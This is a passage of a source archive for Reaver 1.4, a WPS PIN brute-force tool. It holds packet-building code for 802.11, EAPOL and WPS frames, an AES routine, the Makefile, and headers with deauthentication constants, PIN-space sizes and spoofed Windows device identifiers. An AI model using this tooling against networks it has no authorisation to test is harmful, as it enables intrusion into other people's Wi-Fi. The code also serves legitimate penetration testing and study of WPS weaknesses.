keylen, size_t skip, u8 *data, size_t data_len); #endif /* CRYPTO_H */ reaver-1.4/src/crypto/aes-internal-dec.c0000755000175000017500000000715111705505260017572 0ustar reaverreaver/* * AES (Rijndael) cipher - decrypt * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" /** * Expand the cipher key into the decryption key schedule. * * @return the number of rounds for the given cipher key size. */ void rijndaelKeySetupDec(u32 rk[/*44*/], const u8 cipherKey[]) { int Nr = 10, i, j; u32 temp; /* expand the cipher key: */ rijndaelKeySetupEnc(rk, cipherKey); /* invert the order of the round keys: */ for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) { temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp; temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp; temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp; temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp; } /* apply the inverse MixColumn transform to all round keys but the * first and the last: */ for (i = 1; i < Nr; i++) { rk += 4; for (j = 0; j < 4; j++) { rk[j] = TD0_(TE4((rk[j] >> 24) )) ^ TD1_(TE4((rk[j] >> 16) & 0xff)) ^ TD2_(TE4((rk[j] >> 8) & 0xff)) ^ TD3_(TE4((rk[j] ) & 0xff)); } } } void * aes_decrypt_init(const u8 *key, size_t len) { u32 *rk; if (len != 16) return NULL; rk = os_malloc(AES_PRIV_SIZE); if (rk == NULL) return NULL; rijndaelKeySetupDec(rk, key); return rk; } static void rijndaelDecrypt(const u32 rk[/*44*/], const u8 ct[16], u8 pt[16]) { u32 s0, s1, s2, s3, t0, t1, t2, t3; const int Nr = 10; #ifndef FULL_UNROLL int r; #endif /* ?FULL_UNROLL */ /* * map byte array block to cipher state * and add initial round key: */ s0 = GETU32(ct ) ^ rk[0]; s1 = GETU32(ct + 4) ^ rk[1]; s2 = GETU32(ct + 8) ^ rk[2]; s3 = GETU32(ct + 12) ^ rk[3]; #define ROUND(i,d,s) \ d##0 = TD0(s##0) ^ TD1(s##3) ^ TD2(s##2) ^ TD3(s##1) ^ rk[4 * i]; \ d##1 = TD0(s##1) ^ TD1(s##0) ^ TD2(s##3) ^ TD3(s##2) ^ rk[4 * i + 1]; \ d##2 = TD0(s##2) ^ TD1(s##1) ^ TD2(s##0) ^ TD3(s##3) ^ rk[4 * i + 2]; \ d##3 = TD0(s##3) ^ TD1(s##2) ^ TD2(s##1) ^ TD3(s##0) ^ rk[4 * i + 3] #ifdef FULL_UNROLL ROUND(1,t,s); ROUND(2,s,t); ROUND(3,t,s); ROUND(4,s,t); ROUND(5,t,s); ROUND(6,s,t); ROUND(7,t,s); ROUND(8,s,t); ROUND(9,t,s); rk += Nr << 2; #else /* !FULL_UNROLL */ /* Nr - 1 full rounds: */ r = Nr >> 1; for (;;) { ROUND(1,t,s); rk += 8; if (--r == 0) break; ROUND(0,s,t); } #endif /* ?FULL_UNROLL */ #undef ROUND /* * apply last round and * map cipher state to byte array block: */ s0 = TD41(t0) ^ TD42(t3) ^ TD43(t2) ^ TD44(t1) ^ rk[0]; PUTU32(pt , s0); s1 = TD41(t1) ^ TD42(t0) ^ TD43(t3) ^ TD44(t2) ^ rk[1]; PUTU32(pt + 4, s1); s2 = TD41(t2) ^ TD42(t1) ^ TD43(t0) ^ TD44(t3) ^ rk[2]; PUTU32(pt + 8, s2); s3 = TD41(t3) ^ TD42(t2) ^ TD43(t1) ^ TD44(t0) ^ rk[3]; PUTU32(pt + 12, s3); } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { rijndaelDecrypt(ctx, crypt, plain); } void aes_decrypt_deinit(void *ctx) { os_memset(ctx, 0, AES_PRIV_SIZE); os_free(ctx); } reaver-1.4/src/crc.h0000644000175000017500000000330611705505260013706 0ustar reaverreaver/* * Reaver - CRC functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _CRC_H_ #define _CRC_H_ #include #include uint32_t crc32(char *buf, size_t len); #endif reaver-1.4/src/Makefile.in0000644000175000017500000000465111705505260015037 0ustar reaverreaverCC=@CC@ LIBWPS_DIR=libwps INC=-I$(LIBWPS_DIR) prefix=@prefix@ exec_prefix=@exec_prefix@ CONFDIR=@sysconfdir@/@target@ CFLAGS=-DCONF_DIR='"$(CONFDIR)"' -DREAVER_DATABASE='"$(CONFDIR)/reaver.db"' @CFLAGS@ LDFLAGS=$(LIBWPS_DIR)/*.o wps/*.o tls/bignum.o tls/libtls.a utils/libutils.a crypto/libcrypto.a lwe/libiw.a @LDFLAGS@ all: wash reaver wash: wps libiw libwps.o argsparser.o globule.o init.o misc.o 80211.o iface.o $(CC) $(CFLAGS) $(INC) wpsmon.c *.o $(LDFLAGS) -o wash reaver: wps libiw libwps.o argsparser.o globule.o init.o sigint.o sigalrm.o misc.o cracker.o $(CC) $(CFLAGS) $(INC) wpscrack.c *.o $(LDFLAGS) -o reaver libwps.o: (cd $(LIBWPS_DIR) && make) wps: libutils libcrypto (cd wps && make) libutils: (cd utils && make) libcrypto: libtls (cd crypto && make) libtls: (cd tls && make) libiw: (cd lwe && make BUILD_STATIC=y libiw.a) init.o: $(CC) $(CFLAGS) init.c -c sql.o: $(CC) $(CFLAGS) $(INC) sql.c -c crc.o: $(CC) $(CFLAGS) crc.c -c keys.o: $(CC) $(CFLAGS) keys.c -c argsparser.o: globule.o $(CC) $(CFLAGS) $(INC) argsparser.c -c sigint.o: globule.o $(CC) $(CFLAGS) $(INC) sigint.c -c exchange.o: globule.o send.o sigalrm.o 80211.o $(CC) $(CFLAGS) $(INC) exchange.c -c send.o: globule.o builder.o sigalrm.o $(CC) $(CFLAGS) send.c -c session.o: globule.o $(CC) $(CFLAGS) $(INC) session.c -c 80211.o: globule.o sql.o builder.o crc.o $(CC) $(CFLAGS) $(INC) 80211.c -c iface.o: globule.o $(CC) $(CFLAGS) iface.c -c sigalrm.o: globule.o $(CC) $(CFLAGS) sigalrm.c -c misc.o: globule.o $(CC) $(CFLAGS) misc.c -c builder.o: globule.o $(CC) $(CFLAGS) builder.c -c pins.o: globule.o keys.o $(CC) $(CFLAGS) pins.c -c cracker.o: globule.o init.o pins.o iface.o exchange.o session.o 80211.o $(CC) $(CFLAGS) $(INC) cracker.c -c globule.o: $(CC) $(CFLAGS) globule.c -c install: cleanbin if [ ! -d $(CONFDIR) ]; then mkdir -p $(CONFDIR); fi if [ ! -e $(CONFDIR)/reaver.db ]; then cp reaver.db $(CONFDIR)/reaver.db && chmod -R a+rw $(CONFDIR); fi if [ -e wash ]; then cp wash @bindir@/wash; fi if [ -e reaver ]; then cp reaver @bindir@/reaver; fi clean: rm -f *~ *.o reaver wash rm -rf *.cache config.status config.log (cd utils && make clean) (cd tls && make clean) (cd crypto && make clean) (cd wps && make clean) (cd lwe && make realclean) (cd $(LIBWPS_DIR) && make clean) rm -f Makefile config.h cleanbin: rm -f @bindir@/reaver @bindir@/wash @bindir@/walsh distclean: cleanbin clean rm -rf $(CONFDIR) reaver-1.4/src/builder.c0000644000175000017500000003561011705505260014563 0ustar reaverreaver/* * Reaver - Packet building functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "builder.h" const void *build_radio_tap_header(size_t *len) { struct radio_tap_header *rt_header = NULL; const void *buf = NULL; buf = malloc(sizeof(struct radio_tap_header)); if(buf) { memset((void *) buf, 0, sizeof(struct radio_tap_header)); rt_header = (struct radio_tap_header *) buf; rt_header->len = sizeof(struct radio_tap_header); *len = rt_header->len; } return buf; } const void *build_dot11_frame_header(uint16_t fc, size_t *len) { struct dot11_frame_header *header = NULL; const void *buf = NULL; static uint16_t frag_seq; buf = malloc(sizeof(struct dot11_frame_header)); if(buf) { *len = sizeof(struct dot11_frame_header); memset((void *) buf, 0, sizeof(struct dot11_frame_header)); header = (struct dot11_frame_header *) buf; frag_seq += SEQ_MASK; header->duration = DEFAULT_DURATION; memcpy((void *) &header->fc, (void *) &fc, sizeof(struct frame_control)); header->frag_seq = frag_seq; memcpy((void *) header->addr1, get_bssid(), MAC_ADDR_LEN); memcpy((void *) header->addr2, get_mac(), MAC_ADDR_LEN); memcpy((void *) header->addr3, get_bssid(), MAC_ADDR_LEN); } return buf; } const void *build_authentication_management_frame(size_t *len) { struct authentication_management_frame *frame = NULL; const void *buf = NULL; buf = malloc(sizeof(struct authentication_management_frame)); if(buf) { *len = sizeof(struct authentication_management_frame); memset((void *) buf, 0, *len); frame = (struct authentication_management_frame *) buf; frame->algorithm = OPEN_SYSTEM; frame->sequence = 1; frame->status = 0; } return buf; } const void *build_association_management_frame(size_t *len) { struct association_request_management_frame *frame = NULL; const void *buf = NULL; buf = malloc(sizeof(struct association_request_management_frame)); if(buf) { *len = sizeof(struct association_request_management_frame); memset((void *) buf, 0, *len); frame = (struct association_request_management_frame *) buf; frame->capability = get_ap_capability(); frame->listen_interval = LISTEN_INTERVAL; } return buf; } const void *build_llc_header(size_t *len) { struct llc_header *header = NULL; const void *buf = NULL; buf = malloc(sizeof(struct llc_header)); if(buf) { *len = sizeof(struct llc_header); memset((void *) buf, 0, sizeof(struct llc_header)); header = (struct llc_header *) buf; header->dsap = LLC_SNAP; header->ssap = LLC_SNAP; header->control_field = UNNUMBERED_FRAME; header->type = DOT1X_AUTHENTICATION; } return buf; } const void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len) { struct tagged_parameter ssid_tag = { 0 }; const void *rt_header = NULL, *dot11_header = NULL, *packet = NULL; size_t offset = 0, rt_len = 0, dot11_len = 0, ssid_tag_len = 0, packet_len = 0; if(essid != NULL) { ssid_tag.len = (uint8_t) strlen(essid); } else { ssid_tag.len = 0; } ssid_tag.number = SSID_TAG_NUMBER; ssid_tag_len = ssid_tag.len + sizeof(struct tagged_parameter); rt_header = build_radio_tap_header(&rt_len); dot11_header = build_dot11_frame_header(FC_PROBE_REQUEST, &dot11_len); if(rt_header && dot11_header) { packet_len = rt_len + dot11_len + ssid_tag_len + WPS_PROBE_IE_SIZE; packet = malloc(packet_len); if(packet) { memset((void *) packet, 0, packet_len); memcpy((void *) packet, rt_header, rt_len); offset += rt_len; memcpy((void *) ((char *) packet+offset), dot11_header, dot11_len); offset += dot11_len; memcpy((void *) ((char *) packet+offset), (void *) &ssid_tag, sizeof(ssid_tag)); offset += sizeof(ssid_tag); memcpy((void *) ((char *) packet+offset), essid, ssid_tag.len); offset += ssid_tag.len; memcpy((void *) ((char *) packet+offset), WPS_PROBE_IE, WPS_PROBE_IE_SIZE); offset += WPS_PROBE_IE_SIZE; *len = packet_len; } } if(rt_header) free((void *) rt_header); if(dot11_header) free((void *) dot11_header); return packet; } /* Wrapper function for Radio Tap / Dot11 / LLC */ const void *build_snap_packet(size_t *len) { const void *rt_header = NULL, *dot11_header = NULL, *llc_header = NULL, *packet = NULL; size_t rt_len = 0, dot11_len = 0, llc_len = 0, packet_len = 0; rt_header = build_radio_tap_header(&rt_len); dot11_header = build_dot11_frame_header(FC_STANDARD, &dot11_len); llc_header = build_llc_header(&llc_len); if(rt_header && dot11_header && llc_header) { packet_len = rt_len + dot11_len + llc_len; packet = malloc(packet_len); if(packet) { memset((void *) packet, 0, packet_len); memcpy((void *) packet, rt_header, rt_len); memcpy((void *) ((char *) packet+rt_len), dot11_header, dot11_len); memcpy((void *) ((char *) packet+rt_len+dot11_len), llc_header, llc_len); *len = packet_len; } free((void *) rt_header); free((void *) dot11_header); free((void *) llc_header); } return packet; } const void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len) { struct dot1X_header *header = NULL; const void *buf = NULL; buf = malloc(sizeof(struct dot1X_header)); if(buf) { *len = sizeof(struct dot1X_header); memset((void *) buf, 0, sizeof(struct dot1X_header)); header = (struct dot1X_header *) buf; header->version = DOT1X_VERSION; header->type = type; header->len = htons(payload_len); } return buf; } const void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len) { struct eap_header *header = NULL; const void *buf = NULL; buf = malloc(sizeof(struct eap_header)); if(buf) { *len = sizeof(struct eap_header); memset((void *) buf, 0, sizeof(struct eap_header)); header = (struct eap_header *) buf; header->code = code; header->id = id; header->len = htons((payload_len + *len)); header->type = type; id++; } return buf; } const void *build_wfa_header(uint8_t op_code, size_t *len) { const void *buf = NULL; struct wfa_expanded_header *header = NULL; buf = malloc(sizeof(struct wfa_expanded_header)); if(buf) { *len = sizeof(struct wfa_expanded_header); memset((void *) buf, 0, *len); header = (struct wfa_expanded_header *) buf; memcpy(header->id, WFA_VENDOR_ID, sizeof(header->id)); header->type = SIMPLE_CONFIG; header->opcode = op_code; } return buf; } /* Wrapper for SNAP / Dot1X Start */ const void *build_eapol_start_packet(size_t *len) { const void *snap_packet = NULL, *dot1x_header = NULL, *packet = NULL; size_t snap_len = 0, dot1x_len = 0, packet_len = 0; /* Build a SNAP packet and a 802.1X START header */ snap_packet = build_snap_packet(&snap_len); dot1x_header = build_dot1X_header(DOT1X_START, 0, &dot1x_len); if(snap_packet && dot1x_header) { packet_len = snap_len + dot1x_len; packet = malloc(packet_len); if(packet) { /* Build packet */ memset((void *) packet, 0, packet_len); memcpy((void *) packet, snap_packet, snap_len); memcpy((void *) ((char *) packet+snap_len), dot1x_header, dot1x_len); *len = packet_len; } free((void *) snap_packet); free((void *) dot1x_header); } return packet; } /* Wrapper for SNAP / Dot1X / EAP / WFA / Payload */ const void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len) { const void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL, *wfa_header = NULL; size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, wfa_len = 0, offset = 0, total_payload_len = 0; uint8_t eap_type = 0, eap_code = 0; struct wps_data *wps = get_wps(); /* Decide what type of EAP packet to build based on the current WPS state */ switch(wps->state) { case RECV_M1: eap_code = EAP_RESPONSE; eap_type = EAP_IDENTITY; break; default: eap_code = EAP_RESPONSE; eap_type = EAP_EXPANDED; } /* Total payload size may or may not be equal to payload_len depending on if we * need to build and add a WFA header to the packet payload. */ total_payload_len = payload_len; /* If eap_type is Expanded, then we need to add a WFA header */ if(eap_type == EAP_EXPANDED) { wfa_header = build_wfa_header(get_opcode(), &wfa_len); total_payload_len += wfa_len; } /* Build SNAP, EAP and 802.1x headers */ snap_packet = build_snap_packet(&snap_len); eap_header = build_eap_header(get_eap_id(), eap_code, eap_type, total_payload_len, &eap_len); dot1x_header = build_dot1X_header(DOT1X_EAP_PACKET, (total_payload_len+eap_len), &dot1x_len); if(snap_packet && eap_header && dot1x_header) { buf_len = snap_len + dot1x_len + eap_len + total_payload_len; buf = malloc(buf_len); if(buf) { memset((void *) buf, 0, buf_len); /* Build the packet */ memcpy((void *) buf, snap_packet, snap_len); offset += snap_len; memcpy((void *) ((char *) buf+offset), dot1x_header, dot1x_len); offset += dot1x_len; memcpy((void *) ((char *) buf+offset), eap_header, eap_len); offset += eap_len; if(eap_type == EAP_EXPANDED) { memcpy((void *) ((char *) buf+offset), wfa_header, wfa_len); offset += wfa_len; } if(payload && payload_len) { memcpy((void *) ((char *) buf+offset), payload, payload_len); } *len = (offset + payload_len); } free((void *) snap_packet); free((void *) eap_header); free((void *) dot1x_header); if(wfa_header) free((void *) wfa_header); } return buf; } const void *build_eap_failure_packet(size_t *len) { const void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL; size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, offset = 0; /* Build SNAP, EAP and 802.1x headers */ snap_packet = build_snap_packet(&snap_len); eap_header = build_eap_header(get_eap_id(), EAP_FAILURE, EAP_FAILURE, 0, &eap_len); dot1x_header = build_dot1X_header(DOT1X_EAP_PACKET, eap_len, &dot1x_len); buf_len = snap_len + eap_len + dot1x_len; if(snap_packet && eap_header && dot1x_header) { buf = malloc(buf_len); if(buf) { memset((void *) buf, 0, buf_len); memcpy((void *) buf, snap_packet, snap_len); offset += snap_len; memcpy((void *) ((char *) buf+offset), dot1x_header, dot1x_len); offset += dot1x_len; memcpy((void *) ((char *) buf+offset), eap_header, eap_len); *len = buf_len; } } if(snap_packet) free((void *) snap_packet); if(eap_header) free((void *) eap_header); if(dot1x_header) free((void *) dot1x_header); return buf; } const void *build_tagged_parameter(uint8_t number, uint8_t size, size_t *len) { struct tagged_parameter *param = NULL; const void *buf = NULL; size_t buf_len = 0; buf_len = sizeof(struct tagged_parameter); buf = malloc(buf_len); if(buf) { *len = buf_len; memset((void *) buf, 0, buf_len); param = (struct tagged_parameter *) buf; param->number = number; param->len = size; } return buf; } const void *build_ssid_tagged_parameter(size_t *len) { const void *buf = NULL, *ssid_param = NULL; size_t ssid_len = 0, ssid_param_len = 0, buf_len = 0; if(get_ssid()) { ssid_len = strlen(get_ssid()); } ssid_param = build_tagged_parameter(SSID_TAG_NUMBER, ssid_len, &ssid_param_len); if(ssid_param) { buf_len = ssid_param_len + ssid_len; buf = malloc(buf_len); if(buf) { *len = buf_len; memset((void *) buf, 0, buf_len); memcpy((void *) buf, ssid_param, ssid_param_len); memcpy((void *) ((char *) buf+ssid_param_len), get_ssid(), ssid_len); } free((void *) ssid_param); } return buf; } const void *build_wps_tagged_parameter(size_t *len) { const void *buf = NULL, *wps_param = NULL; size_t buf_len = 0, wps_param_len = 0; wps_param = build_tagged_parameter(WPS_TAG_NUMBER, WPS_TAG_SIZE, &wps_param_len); if(wps_param) { buf_len = wps_param_len + WPS_TAG_SIZE; buf = malloc(buf_len); if(buf) { *len = buf_len; memset((void *) buf, 0, buf_len); memcpy((void *) buf, wps_param, wps_param_len); memcpy((void *) ((char *) buf+wps_param_len), WPS_REGISTRAR_TAG, WPS_TAG_SIZE); } free((void *) wps_param); } return buf; } const void *build_supported_rates_tagged_parameter(size_t *len) { const void *buf = NULL, *supported_rates = NULL, *extended_rates = NULL; unsigned char *srates = NULL; int srates_tag_size = 0; size_t buf_len = 0, srates_len = 0, erates_len = 0, offset = 0; srates = get_ap_rates(&srates_tag_size); supported_rates = build_tagged_parameter(SRATES_TAG_NUMBER, srates_tag_size, &srates_len); extended_rates = build_tagged_parameter(ERATES_TAG_NUMBER, ERATES_TAG_SIZE, &erates_len); if(supported_rates && extended_rates) { buf_len = srates_len + erates_len + srates_tag_size + ERATES_TAG_SIZE; buf = malloc(buf_len); if(buf) { *len = buf_len; memset((void *) buf, 0, buf_len); memcpy((void *) buf, supported_rates, srates_len); offset += srates_len; memcpy((void *) ((char *) buf+offset), srates, srates_tag_size); offset += srates_tag_size; memcpy((void *) ((char *) buf+offset), extended_rates, erates_len); offset += erates_len; memcpy((void *) ((char *) buf+offset), EXTENDED_RATES_TAG, ERATES_TAG_SIZE); } } if(supported_rates) free((void *) supported_rates); if(extended_rates) free((void *) extended_rates); return buf; } reaver-1.4/src/init.h0000644000175000017500000000360011705505260014077 0ustar reaverreaver/* * Reaver - Initialization functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef INIT_H #define INIT_H #include "defs.h" #include "misc.h" #define DEFAULT_UUID "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" #define UUID_LEN 16 struct wps_data *initialize_wps_data(); pcap_t *capture_init(char *capture_source); #endif reaver-1.4/src/80211.h0000644000175000017500000000722511705505260013616 0ustar reaverreaver/* * Reaver - 802.11 functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef DOT11_H #define DOT11_H #include "defs.h" #include "globule.h" #include "argsparser.h" #include "sql.h" #include "builder.h" #include "iface.h" #include "crc.h" #include "wps.h" #define AUTH_OK 1 #define ASSOCIATE_OK 2 #define ASSOCIATE_WAIT_TIME 1 /* Seconds */ #define BEACON_WAIT_TIME 2 /* Seconds */ #define ASSOCIATION_SUCCESS 0x0000 #define AUTHENTICATION_SUCCESS 0x0000 #define DEAUTH_REASON_CODE "\x03\x00" #define DEAUTH_REASON_CODE_SIZE 2 #define FC_AUTHENTICATE 0x00B0 #define FC_ASSOCIATE 0x0000 #define FC_DEAUTHENTICATE 0x00C0 #define FC_FLAGS_MASK 0xFF #define FC_VERSION_MASK 0x03 #define FC_TYPE_MASK 0x0C #define FC_TO_DS 0x01 #define FC_FROM_DS 0x02 #define FC_MORE_FRAG 0x04 #define FC_RETRY 0x08 #define FC_PWR_MGT 0x10 #define FC_MORE_DATA 0x20 #define FC_WEP 0x40 #define FC_ORDER 0x80 #define RADIO_TAP_VERSION 0x00 #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00" #define MAX_AUTH_TRIES 5 #define MIN_AUTH_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct authentication_management_frame)) #define SUBTYPE_AUTHENTICATION 0x0B #define SUBTYPE_ASSOCIATION 0x01 const u_char *next_packet(struct pcap_pkthdr *header); void read_ap_beacon(); int8_t signal_strength(const u_char *packet, size_t len); int is_wps_locked(); int reassociate(); void deauthenticate(); void authenticate(); void associate(); int associate_recv_loop(); enum encryption_type supported_encryption(const u_char *packet, size_t len); int parse_beacon_tags(const u_char *data, size_t len); unsigned char *parse_ie_data(const u_char *data, size_t len, uint8_t tag_number, size_t *ie_len, size_t *ie_offset); int is_target(struct dot11_frame_header *frame_header); int check_fcs(const u_char *packet, size_t len); int has_rt_header(void); const u_char *radio_header(const u_char *packet, size_t len); #endif reaver-1.4/src/defs.h0000644000175000017500000002117611705505260014065 0ustar reaverreaver/* * Reaver - Common definitions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef DEFS_H #define DEFS_H #include #include #include #include #include #include #include #include "wps.h" #define NULL_MAC "\x00\x00\x00\x00\x00\x00" #define DEFAULT_MAX_NUM_PROBES 15 #define MAX_ASSOC_FAILURES 10 #define TIMESTAMP_LEN 8 #define MAC_ADDR_LEN 6 #define SSID_TAG_NUMBER 0 #define RATES_TAG_NUMBER 1 #define CHANNEL_TAG_NUMBER 3 #define WPS_TAG_NUMBER 0xDD #define VENDOR_SPECIFIC_TAG 0xDD #define RSN_TAG_NUMBER 0x30 #define CAPABILITY_WEP 0x10 #define WPA_IE_ID "\x00\x50\xF2\x01\x01\x00" #define WPA_IE_ID_LEN 6 #define MANAGEMENT_FRAME 0x00 #define SUBTYPE_BEACON 0x08 #define DOT1X_AUTHENTICATION 0x8E88 #define DOT1X_EAP_PACKET 0x00 #define SIMPLE_CONFIG 0x01000000 #define P1_SIZE 10000 #define P2_SIZE 1000 #define EAPOL_START_MAX_TRIES 25 #define WARN_FAILURE_COUNT 10 #define EAPOL_START 1 #define EAP_IDENTITY 0x01 #define EAP_EXPANDED 0xFE #define M57_DEFAULT_TIMEOUT 200000 /* uSeconds */ #define M57_MAX_TIMEOUT 1000000 /* uSeconds */ #define DEFAULT_DELAY 1 /* Seconds */ #define DEFAULT_TIMEOUT 5 /* Seconds */ #define DEFAULT_LOCK_DELAY 60 /* Seconds */ #define SEC_TO_US 1000000 /* uSeconds in a Second */ #define TSFT_SIZE 8 #define FLAGS_SIZE 1 #define RATE_SIZE 1 #define CHANNEL_SIZE 4 #define FHSS_SIZE 2 #define WPS_DEVICE_NAME "Glau" #define WPS_MANUFACTURER "Microsoft" #define WPS_MODEL_NAME "Windows" #define WPS_MODEL_NUMBER "6.1.7601" #define WPS_DEVICE_TYPE "\x00\x01\x00\x50\xF2\x04\x00\x01" #define WPS_OS_VERSION "\x01\x00\x06\x00" #define WPS_RF_BANDS 0x01 enum encryption_type { NONE, WEP, WPA }; enum key_state { KEY1_WIP = 0, KEY2_WIP = 1, KEY_DONE = 2 }; enum debug_level { CRITICAL = 0, INFO = 1, WARNING = 2, VERBOSE = 3 }; enum eap_codes { EAP_REQUEST = 1, EAP_RESPONSE = 2, EAP_SUCCESS = 3, EAP_FAILURE = 4 }; enum wps_result { KEY_ACCEPTED = 0, KEY_REJECTED = 1, RX_TIMEOUT = 2, EAP_FAIL = 3, UNKNOWN_ERROR = 4 }; enum nack_code { NO_NACK = -1, NO_ERROR = 0, OOB_RRAD_ERROR = 1, CRC_FAILURE = 2, CHANNEL_24_NS = 3, CHANNEL_50_NS = 4, WEAK_SIGNAL = 5, NET_AUTH_FAILURE = 6, NET_ASSOCIATION_FAILURE = 7, NO_DHCP_RESPONSE = 8, FAILED_DHCP_CONFIG = 9, IP_ADDR_CONFLICT = 10, REGISTRAR_CONNECT_FAILURE = 11, MULTIPLE_PBC = 12, ROGUE_ACTIVITY = 13, DEVICE_BUSY = 14, SETUP_LOCKED = 15, MESSAGE_TIMEOUT = 16, REGISTRATION_TIMEOUT = 17, AUTH_FAILURE = 18 }; enum wps_type { TERMINATE = -1, UNKNOWN = 0, IDENTITY_REQUEST = 1, IDENTITY_RESPONSE = 2, M1 = 0x04, M2 = 0x05, M3 = 0x07, M4 = 0x08, M5 = 0x09, M6 = 0x0A, M7 = 0x0B, M8 = 